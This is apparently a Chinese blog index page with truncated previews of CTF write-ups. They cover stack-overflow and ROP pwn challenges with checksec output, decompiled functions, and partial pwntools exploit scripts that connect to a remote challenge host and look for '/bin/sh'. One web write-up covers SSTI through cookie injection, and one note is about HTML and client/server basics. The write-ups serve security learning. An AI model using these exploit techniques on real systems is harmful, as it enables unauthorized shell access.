Uncategorized
7.1k words
HTML&CSS web应用程序出现之前,客户机/服务器(C/S)是应用程序的主流框架 客户机主要任务: 1.建立和断开于服务器端的连接 2.提交数据访问请求 3.等待服务通告,接收请求结果或错误 4.处理数据库访问结果或错误,包括重发请求和终止请求 提供友好的应用程序用户界面 数据输入/输出及验证 服务器端任务: 为多用户管理一个独立的数据库 管理和处理接收到的数据访问请求,包括管理请求队列,管理缓存,响应服务,管理结果和通知服务的完成 管理用户账号,控制数据库访问权限和其他安全性 维护数据库,包括数据库备份和恢复等 保证数据库数据的完整或为用户提供完整性控制手段 如果用户请求执行的是ASP或者PHP脚本,则web服务器应用程序将解析并执行脚本,最后将结果转换成HTML格式,,并返回到客户端 br标签是HTML中的换行符,一般结束标签放在开始标签中,即<br/> pre标签用于定义预格式化的文本,其中的文本会以等宽字体显示,并保留空格和换行符.<pre>标签通常可以用来显示源代码 li标签用于定义列表项目,...
Uncategorized
3k words
checksec Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) main int __cdecl main() { int buf; // [esp+4h] [ebp-14h] BYREF char v2; // [esp+Bh] [ebp-Dh] int fd; // [esp+Ch] [ebp-Ch] sub_80486BB(); fd = open("/dev/urandom", 0); if ( fd > 0 ) read(fd, &buf, 4u); v2 = sub_804871F(buf); sub_80487D0(v2); return 0; } /dev/urandom : Unix系统中的特殊设备文件,可用作随机数发生器或者伪随机数发生器 sub_804871F int __cde...
Uncategorized
689 words
知识点 SSTI模板注入 Cookie注入 index.php hint.php 我们在hint.php中看到Why not take a closer look at cookies?,加上题目名字我们可以猜测这道题的漏洞点在cookie上面 我们通过burpsuite抓下包看一下cookie 页面提交后,cookie这里多了一个user=(msg you input),那么是不是可以命令执行呢 经过多次尝试,发现这是一个SSTI.即服务器端模板注入,什么是SSTI呢 SSTI 是什么 : Server-Side Template Injection 是什么引发 : render_template渲染函数 , 该函数在渲染时, 对用户输入的变量不做渲染 , {{}}在jinja2中作为变量包裹标识符,即jinja2中,会把{{}}包裹的内容当作变量解析替换,比如4会被解析成4,这样就像sql一样存在注入漏洞 判断SSTI类型 网上扒拉了一张图 exp 那么我们经过测试之后,大...
Uncategorized
2k words
一道简单的rop,就是一丢丢坑 checksec Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) main int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF init_io(argc, argv, envp); while ( 1 ) { pthread_create(&newthread, 0LL, test_thread, 0LL); pthread_join(newthread, 0LL); } } test_thread int __fastcall test_thread(void...
Uncategorized
645 words
[NISACTF2022]ezstack main int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); shell(); return 0; } shell ssize_t shell() { char buf; // [esp+0h] [ebp-48h] system("echo Welcome to NISACTF"); return read(0, &buf, 0x60u); } shell函数处有溢出 完整exp from pwn import * elf = ELF('') # io = process('') io = remote('124.221.24.137',28760) padlength = 0x48 + 0x4 bin_sh = next(elf.search(b'/bin...
Uncategorized
1.3k words
[NISACTF2022]ezpie checksec Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled OHHH!,give you a gift! 0x56573770 Input: main int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); puts("OHHH!,give you a gift!"); printf("%p\n", main); puts("Input:"); vuln(); return 0; } vuln ssize_t vuln() { char buf; /&#...
Uncategorized
2.5k words
先贴下exp,wp晚点来补 完整exp # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled from pwn import * from ctypes import * # from LibcSearcher import * import sys context(os = 'linux' , arch = 'amd64') context.terminal = ["tmux", "splitw", "-h"] local = 1 if local == 0: io = remote('1.14.71.254',28788) else: io = process("/mnt/c/Users/M1sceden4/Desktop/pwn/babygame_虎符CTF_2022") libc_rand = cdll.LoadLibrary...